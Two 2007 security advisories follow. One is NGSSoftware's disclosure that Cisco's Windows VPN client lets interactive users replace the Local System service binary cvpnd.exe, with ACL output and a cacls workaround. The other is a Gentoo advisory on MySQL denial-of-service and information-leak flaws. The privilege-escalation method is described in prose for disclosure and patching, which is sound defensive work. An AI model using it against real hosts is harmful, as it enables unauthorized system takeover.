=== Summary === Name: Permissively-ACLed cvpnd.exe allows interactive users to run arbitrary binaries with Local System Privileges Release Date: 16 August 2007 Reference: NGS00503 Discover: Dominic Beecher [EMAIL PROTECTED] Vendor: Cisco Vendor Reference: cisco-sa-20070815-vpnclient Systems Affected: All versions up to but not including 5.0.01.0600 Risk: High Status: Published TimeLine Discovered: 18 May 2007 Released: 22 May 2007 Approved: 11 June 2007 Reported: 23 May 2007 Fixed: 15 August 2007 Published: 16 August 2007 === Description === Impact: locally logged-on users of affected hosts can cause arbitrary binaries to be executed in the context of Local System. This effectively compromises the host. = Technical Details = Cisco's VPN client for Windows installs a Windows service, the Cisco Systems, Inc. VPN Service or CVPND, whose associated binary is C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe. By default, the CVPND service runs as Local System. SERVICE_NAME: CVPND TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe LOAD_ORDER_GROUP : TAG: 0 DISPLAY_NAME : Cisco Systems, Inc. VPN Service DEPENDENCIES : TCPIP SERVICE_START_NAME : LocalSystem Interactive Users (i.e. those who have logged on locally) are granted Modify permissions to cvpnd.exe (and its parent directory), denoted by NT AUTHORITY\INTERACTIVE:C in the cacls output below. C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe NT AUTHORITY\INTERACTIVE:C BUILTIN\Users:R BUILTIN\Power Users:C BUILTIN\Administrators:F NT AUTHORITY\SYSTEM:F BUILTIN\Administrators:F This allows normal users who have logged on to a susceptible host to move cvpnd.exe to another location, and substitute another binary for cvpnd.exe. When the CVPND service restarts (e.g. on reboot), the replaced cvpnd.exe will run in the context of Local System. This effectively escalates users' privileges, thereby compromising the host. === Fix Information === Upgrade to a fixed version of the Cisco VPN client: see Cisco's advisory at the URL below for more details. http://www.cisco.com/warp/public/707/cisco-sa-20070815-vpnclient.shtml Alternatively, as a workaround, revoke access rights for NT AUTHORITY\INTERACTIVE from cvpnd.exe, e.g.: C:\Program Files\Cisco Systems\VPN Clientcacls cvpnd.exe /E /R NT AUTHORITY\INTERACTIVE -- NGSSoftware Insight Security Research http://www.ngssoftware.com/ http://www.databasesecurity.com/ http://www.nextgenss.com/ +44(0)208 401 0070 -- E-MAIL DISCLAIMER The information contained in this email and any subsequent correspondence is private, is solely for the intended recipient(s) and may contain confidential or privileged information. For those other than the intended recipient(s), any disclosure, copying, distribution, or any other action taken, or omitted to be taken, in reliance on such information is prohibited and may be unlawful. If you are not the intended recipient and have received this message in error, please inform the sender and delete this mail and any attachments. The views expressed in this email do not necessarily reflect NGS policy. NGS accepts no liability or responsibility for any onward transmission or use of emails and attachments having left the NGS domain. NGS and NGSSoftware are trading names of Next Generation Security Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1 4BF with Company Number 04225835 and VAT Number 783096402
[ GLSA 200708-10 ] MySQL: Denial of Service and information leakage
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200708-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: MySQL: Denial of Service and information leakage Date: August 16, 2007 Bugs: #185333 ID: 200708-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis A Denial of Service vulnerability and a table structure information leakage vulnerability were found in MySQL. Background == MySQL is a popular multi-threaded, multi-user SQL server. Affected packages = --- Package / Vulnerable / Unaffected --- 1 dev-db/mysql 5.0.44 = 5.0.44 Description === Dormando reported a vulnerability within the handling of password packets in the connection protocol (CVE-2007-3780). Andrei Elkin also found that the CREATE TABLE LIKE command didn't require SELECT privileges on the source table (CVE-2007-3781). Impact == A remote unauthenticated attacker could use the first vulnerability to make the server crash. The second vulnerability can be used by authenticated users to obtain information on tables they are not normally able to access. Workaround == There is no known workaround at this time. Resolution == All MySQL users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =dev-db/mysql-5.0.44 References == [ 1 ] CVE-2007-3780 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3780 [ 2 ] CVE-2007-3781 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3781 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200708-10.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgp3LDZWG9E1s.pgp Description: PGP signature
